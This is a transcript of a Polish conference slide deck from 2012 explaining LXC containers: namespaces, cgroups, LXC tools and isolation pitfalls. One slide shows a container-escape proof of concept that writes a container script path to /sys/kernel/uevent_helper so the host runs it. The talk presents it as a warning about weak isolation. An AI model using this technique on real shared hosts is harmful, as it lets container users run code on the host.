lxc - kontener pingwinów
DESCRIPTION
Slajdy z prezentacji o LXC z Dni Wolnego Oprogramowania w Bielsku-BiałejTRANSCRIPT
![Page 1: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/1.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC – kontener pingwinów
Grzegorz Nosek,MegiTeam
![Page 2: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/2.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach
„Mam jeden komputer a chcę kilka”
• taniej niż kilka maszyn• lepsze wykorzystanie sprzętu• lepsza izolacja niż wszystko w jednym systemie
![Page 3: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/3.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach
![Page 4: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/4.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach
![Page 5: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/5.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach
![Page 6: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/6.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
LinuX Containers• Namespaces – wirtualizacja• CGroups – przydzielanie zasobów• LXC – narzędzia userspace'owe
![Page 7: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/7.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● drzewiasta struktura, osobna dla każdego rodzaju namespace'ów
● każdy proces ma przypisany zestaw● init_pid_ns, init_net_ns itp.
● manipulacje wymagają CAP_SYS_ADMIN
![Page 8: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/8.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● clone()● nowy proces, nowe namespace'y
● unshare() (od 2.6.16)● ten sam proces, nowe namespace'y
● setns() (od 3.2)● ten sam proces, istniejące namespace'y
![Page 9: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/9.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● FS namespace (CLONE_NEWNS)● własne drzewo katalogów● pam_namespace (np. prywatny /tmp)● w połączeniu z pivot_root lepszy chroot() niż
chroot()
![Page 10: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/10.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● PID namespace (CLONE_NEWPID)● własne ID procesów● własny init (pid=1)● więcej niż jeden pid na proces
– pid w każdym pidns od głównego do obecnego● strace ich nie lubi
![Page 11: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/11.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● user namespace (CLONE_NEWUSER)● uid1 == uid2?● capabilities
– ptrace, kill, itp.● VFS
![Page 12: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/12.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● net namespace (CLONE_NEWNET)● własne interfejsy sieciowe● interfejsy fizyczne● macvlan● veth
![Page 13: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/13.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
● IPC namespace (CLONE_NEWIPC)● własna pamięć dzielona SYSV
● UTS namespace (CLONE_NEWUTS)● własna nazwa hosta
![Page 14: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/14.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● cgroupfs● mkdir, rmdir● echo $$ > .../tasks
– w dowolnym momencie
![Page 15: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/15.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● podsystemy montowane wspólnie lub osobno
● maksymalnie jedna dla każdego podsystemu
● zagnieżdżone grupy dziedziczą ograniczenia grup nadrzędnych
![Page 16: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/16.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● cpuset● podzbiór CPU dla procesów z danej grupy● „dedykowany rdzeń dla MySQLa”
● cpuacct● rozliczanie czasu CPU
![Page 17: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/17.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● cpu● sprawiedliwy przydział czasu procesora
– niedawny „magic patch”● limitowanie czasu procesora
– „CFS bandwidth control”– ograniczenie przydzielonego czasu procesora nawet
jeżeli są wolne zasoby
![Page 18: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/18.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
![Page 19: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/19.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● memory● ograniczenie pamięci fizycznej● ograniczenie przestrzeni wymiany● ograniczenie pamięci jądra (w drodze)● caveat emptor
– bardzo wrażliwy obszar jądra– nisko latające OOM killery
![Page 20: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/20.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● net_cls● oznacza wychodzący ruch sieciowy klasami tc
![Page 21: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/21.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● devices● ogranicza dostęp do poszczególnych urządzeń
– osobno odczyt, zapis, mknod
![Page 22: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/22.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● blkio● rozliczanie i limitowanie I/O do dysków● proporcjonalne (max. n% całego I/O)● stałe (max. n IOPS, max. n bajtów/sek.)● osobno dla każdego urządzenia
![Page 23: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/23.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● freezer● podobny efekt do kill -STOP całej grupy● jeden z klocków koniecznych do checkpoint-
restore i migracji na żywo
![Page 24: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/24.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
● perf_event● perf: monitorowanie wydajności całego systemu● ograniczenie do wskazanej grupy● hic sunt leones
![Page 25: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/25.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
● zestaw narzędzi integrujących namespace'y i cgroups
● szablony dla popularnych dystrybucji● odpowiednik vzctl i util-vserver
![Page 26: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/26.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
● lxc-create -n testlxc -t debian● lxc-debian● lxc-fedora● lxc-ubuntu● (...)● lxc-busybox● lxc-sshd
![Page 27: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/27.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Kolorowe klocki raz jeszcze
![Page 28: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/28.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
● lxc-sshd● /dev, /lib, /bin, /usr, /sbin dzielone z
gospodarzem● reszta niewidoczna z poziomu kontenera
![Page 29: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/29.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
● dla LXC wirtualizacja sieci jest opcjonalna, pozostałe są obowiązkowe
● nic nie stoi na przeszkodzie, aby samemu poskładać namespace'y
![Page 30: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/30.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
● lxc-unshare● najbardziej bezpośrednie narzędzie● tworzy namespace'y i tyle
● pam_namespace● tylko FS namespace
● systemd● PrivateNetwork=yes● InaccessibleDirectories itp.
![Page 31: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/31.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
● niekompletna izolacja● sysfs● capabilities (SYS_REBOOT)● LSM (SELinux, Smack)● quoty● urządzenia (devpts zamiast /dev/tty*)
![Page 32: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/32.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# lxc-unshare -s PID /bin/bash
root@precise1:~# echo $$
1
root@precise1:~# readlink /proc/$$/exe
![Page 33: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/33.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# lxc-unshare -s PID /bin/bash
root@precise1:~# echo $$
1
root@precise1:~# readlink /proc/$$/exe
/sbin/init
![Page 34: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/34.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# lxc-unshare -s 'PID|MOUNT' /bin/bash
root@precise1:~# umount /proc && mount /proc
root@precise1:~# readlink /proc/$$/exe
/bin/bash
![Page 35: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/35.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# mkdir /sys/fs/cgroup/blkio/slow
root@precise1:~# echo $$ > /sys/fs/cgroup/blkio/slow/tasks
root@precise1:~# echo '253:0 1000000' > /sys/fs/cgroup/blkio/slow/blkio.throttle.write_bps_device
root@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 6.12093 s, 85.7 MB/s
![Page 36: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/36.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 oflag=sync && rm zero
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 528.348 s, 992 kB/s
![Page 37: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/37.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# echo '253:0 1000000' > /sys/fs/cgroup/blkio/blkio.throttle.write_bps_device
root@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 377.854 s, 1.4 MB/s
![Page 38: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/38.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
# http://blog.bofh.it/debian/id_413
lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper
lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent
![Page 39: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/39.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
● http://bit.ly/ytouBe – dyskusja o bezpieczeństwie LXC
● https://wiki.ubuntu.com/LxcSecurity
![Page 40: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/40.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Porównanie
OpenVZ Linux-VServer
LXC
![Page 41: LXC - kontener pingwinów](https://reader033.vdocuments.site/reader033/viewer/2022052323/558a6018d8b42a4f6e8b45b7/html5/thumbnails/41.jpg)
Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
That's all, folks!
Pytania?